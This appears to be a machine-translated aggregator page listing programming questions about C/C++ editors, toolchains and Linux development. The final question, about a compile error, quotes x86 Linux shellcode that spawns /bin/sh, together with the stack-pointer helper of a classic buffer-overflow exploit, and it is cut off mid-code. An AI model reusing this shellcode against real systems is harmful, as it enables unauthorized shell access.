相关疑难解决方法(0)

自动完成C的文本编辑器

这里首先发布一个新的C和编程.我确实有一些HTML和CSS经验,但我正在通过C for Dummies工作.

我试图找到一个自动完成C代码的文本编辑器.目前正在使用SubEthaEdit,这是我尝试过的第三个文本编辑器.如何让它自动完成?

c

3
推荐指数
1
解决办法
8683
查看次数

C++的开源开发环境:什么更好?

我想在业余时间做一些编码,但问题是,我不想花这笔钱.

下面的一套开发工具是不是正确的事情,还是我忘记了什么?

  • Eclipse for C++
  • SVN用于源代码管理
  • 用于UI开发的Qt(因为它是C++,我相信它现在由诺基亚开放)
  • 哈德森持续整合

我想编写一个可以在任何平台上运行的小型图像处理应用程序,但目前的主要平台将是可能移动到Mac的Windows - 因此所有的跨平台工具.

我有什么遗忘吗?就像fxcop在C++中进行样式检查一样?

如果我使用任何库,我想避免使用GPL库; 如果事情与我现在的雇主一起南下,我会想要将其货币化.

c++ open-source

2
推荐指数
2
解决办法
1243
查看次数

在linux mint学习c ++(适用于.net开发人员)

我的目标是通过在linux mint上做一个家庭作业项目并同时学习一些linux和c ++来继续学习C++编程语言.

我打算编写一个小型桌面应用程序来显示当前的网络流量(如Windows中的DU计).我有以下问题:

  1. 我注意到薄荷中有一个名为"系统监视器"的应用程序,它还显示网络历史记录,其中包含信息和图形,如当前下载/上传数据和速度.通过查看代码来开始这是一个好主意吗?如何在薄荷中找到相同的代码并深入研究?请尽可能帮助我们完成一些步骤.

  2. 我在这里需要用什么工具来编写linux中的c ++应用程序?

  3. 在linux上使用哪个GUI库(比如c#winforms,它提供用户控件作为GDI lib的一部分)我们有什么提供用户控件,如窗口/按钮/面板/等?

  4. 初学者级教程的链接将很有帮助.

  5. 希望不要在这里完全重新发明轮子.是否愿意重新使用一些做网络流量部分的lib,想法?

PS:我知道这篇文章的内容是"想成为" - 我真的很高兴用一些c ++开始.将更精确的问题改写这篇文章.在黑暗中徘徊在这一点上,ac#开发人员完全被windows破坏了.

提前致谢!!!有关这方面的提示......

c++ linux

2
推荐指数
1
解决办法
5944
查看次数

使用哪种编辑器?用于编码c/c ++

从过去的9年开始,我一直在使用vi作为我的编辑,并且发现了一些我没有看过的简单和非愚蠢的解决方案,你们中的任何人都可以找到更好的解决方案.

  1. 什么时候我打开一个新的文件代码..默认情况下获取标题描述..与日期,时间和作者姓名等...基本的东西到位.
  2. 当我打开文件进行编辑(更新模式)时,我想看到默认情况下引入的新行,这将帮助我输入更改说明.
  3. 当我介绍一个func /方法时,我得到了函数的基本描述,我必须只是介绍描述而不是指定什么是params和return types..etc.

如果我只能为vi获得上述解决方案,那就太棒了.否则也请评论如何使用emacs或类似的编辑器完成它.

- 谢谢你

c c++ editor

1
推荐指数
2
解决办法
1541
查看次数

用于在Linux中编程的工具

我想开始使用Linux操作系统和所有免费的东西进行编程.

  • Linux,C或C++或C#使用的最常用和最好的语言是什么?

  • 哪些工具类似于Turbo C或Windows中的Visual Studio?

c c# c++ linux

0
推荐指数
1
解决办法
1252
查看次数

简单错误:输入结束时的预期声明或语句

当我尝试编译以下代码时,我不断收到错误:输入结束时的预期声明或语句.我意识到这通常是因为错过了一个支架,但我似乎无法找到它.我希望另一双眼睛可以发现我一直盯着它看的错误已经有一段时间了.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350 

char shellcode[]=
"\x31\xc0"              /* xorl    %eax,%eax              */
"\x50"                  /* pushl   %eax                   */
"\x68""//sh"            /* pushl   $0x68732f2f            */
"\x68""/bin"            /* pushl   $0x6e69622f            */
"\x89\xe3"              /* movl    %esp,%ebx              */
"\x50"                  /* pushl   %eax                   */
"\x53"                  /* pushl   %ebx                   */
"\x89\xe1"              /* movl    %esp,%ecx              */
"\x99"                  /* cdql                           */
"\xb0\x0b"              /* movb    $0x0b,%al              */    
"\xcd\x80"              /* int     $0x80                  */

unsigned long get_sp(void)
{
    __asm__("movl %esp,%eax");
}

void main(int argc, char **argv)
{
    char …
Run Code Online (Sandbox Code Playgroud)

c

0
推荐指数
1
解决办法
3万
查看次数

标签 统计

c ×4

c++ ×4

linux ×2

c# ×1

editor ×1

open-source ×1